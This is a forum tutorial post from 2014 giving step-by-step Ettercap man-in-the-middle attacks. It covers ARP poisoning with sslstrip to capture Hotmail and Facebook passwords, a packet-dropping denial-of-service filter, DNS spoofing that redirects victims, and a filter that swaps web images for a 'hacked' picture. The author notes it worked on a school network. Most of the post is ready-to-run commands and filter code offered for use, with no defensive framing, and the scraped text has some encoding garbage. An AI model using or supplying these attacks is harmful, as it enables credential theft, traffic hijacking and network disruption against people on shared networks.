1
Tutorials / Re: Ettercap MITM
« on: December 03, 2014, 01:16:46 am »
It worked at my school but I haven't really tested it anywhere else.
This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.
echo 1 > /proc/sys/net/ipv4/ip_forward
Then cat the file to see if it is enabled or not. The command output of 1 meaning enabled and 0 meaning not enabled.cat /proc/sys/net/ipv4/ip_forward
We will now edit our etter.conf configuratin file to use ip tables. In backtrack the file is located./etc/etter.conf
Uncomment the two commented lines following the statement: if you use iptables by removing the two bottom comment hashes you see below((remove the two bright red things) but make sure to leave the one beside the words "if you use ip tables":#if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
In the same file also change ec_uid and ec_gid numbers to zero so Ettercap runs as admin.[
privs]
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default
Now use this iptables command to adjust the nat table to route tcp traffic from 80 to 8080:iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
Once we have scanned the network for targets and are aware of what IP addresses belongs to what we can begin the poisoning by Becomeing Man in the middle. The following will start ettercap using a range of ip addresses along with the autoadd plugin which means victims who join the network or reconnect to it after you began the scan will be poisoned as well. In this example 192.168.1.1 is the router and ettercap will poison targets up to 192.168.1.5 Also if you are on a wireless network all you have to do is specify ettercap to use your wireless interface with -i wlan0 . wlan0 is my wireless interface.sudo ettercap -Tq -M arp:remote /192.168.1.1-5/ -P autoadd
or less specific. This poisons everyone in subnet but be careful this can bring a network to a crawl:ettercap -TqM ARP:REMOTE // //
Now tell sslstrip to listen(-l) on p 8080:sslstrip -a -l 8080
Now watch people's hotmail,facebook and any other passwords that are suppsoedly protected by ssl roll in as they login. Ettercap will display the output. Now lets dig deeper and manipulate people's packets as they are routed through our computer.echo 1 > /proc/sys/net/ipv4/ip_forward
Now lets do a DOS attack with ettercap. First thing we want to do is create a file with instructions to drop packets from and to a target host. Make a file called dos.eftif (ip.src == ‘Target IP’ || ip.dst == ‘Target IP’) {
drop();
kill();
msg(“Packet Dropped\nâ€ÂÂ);
}
Go to the directory you saved your file/script in and compile it into an ettercap filter with this command:etterfilter dos.eft -o dos.ef
Lastly we become man in the middle.it’s dos.ef
I was targeting 192.168.1.112 so I chose it for this example:ettercap -T -q -F dos.ef -M ARP /192.168.1.112/ // -i (network interface)
You should see Ettercap displaying lots of “Packet Dropped†messages. ;-)/usr/share/ettercap
Enter the following command to open the configuration file so we can edit it, I use gedit to edit it but you can use many other programs such as gedit:gedit etter.dns
Now see the line that says:microsoft.com A 198.182.196.56
That line will redirect the victim to 198.182.196.56 if they attempt to visit microsoft.com*.facebook.com A 192.168.1.118
Save it. Now We can issue the actual command that begins Ettercap and uses the dns spoofing addon:ettercap -T -q -M arp:remote -P dns_spoof //
or if we want to target a specific victim IP address use this:ettercap -i yourinterface -T -q -P dns_spoof -M ARP /herevictimslocalip/ //
Leave that running. The output that ettercap displays will clearly notify you as people are redirected.gedit filter.pic
Copy and paste the following into it. But you must change the text in red to the url of your own images that you have uploaded using your favorite image uploader such as tinypic.com or imageshack.comif (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("Modified Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://img405.imageshack.us/img405/328/hacked28hi.png\" ");
replace("IMG SRC=", "img src=\"http://img405.imageshack.us/img405/328/hacked28hi.png\" ");
msg("Replaced the picture.\n");
}
if (ip.proto == UDP && udp.src == 80) {
replace("img src=", "img src=\"http://img405.imageshack.us/img405/328/hacked28hi.png\" ");
replace("IMG SRC=", "img src=\"http://img405.imageshack.us/img405/328/hacked28hi.png\" ");
msg("Replaced the picture.\n");
}
Save and close. In that same console session, run the following command to turn the code into a filter that is readable by Ettercap:etterfilter filter.pic -o filter.ef
Now we finally issue the Ettercap command that begins the MitmM attack and use the picture filter that we have created:sudo ettercap -T -q -F filter.ef -M arp:remote // -P autoadd
Note: Remember to enable packet forwarding before using any of attacks I mentioned in this guide. It was mentioned in the first tutorial (ssl strip tute) but here is the command again:
echo 1 > /proc/sys/net/ipv4/ip_forward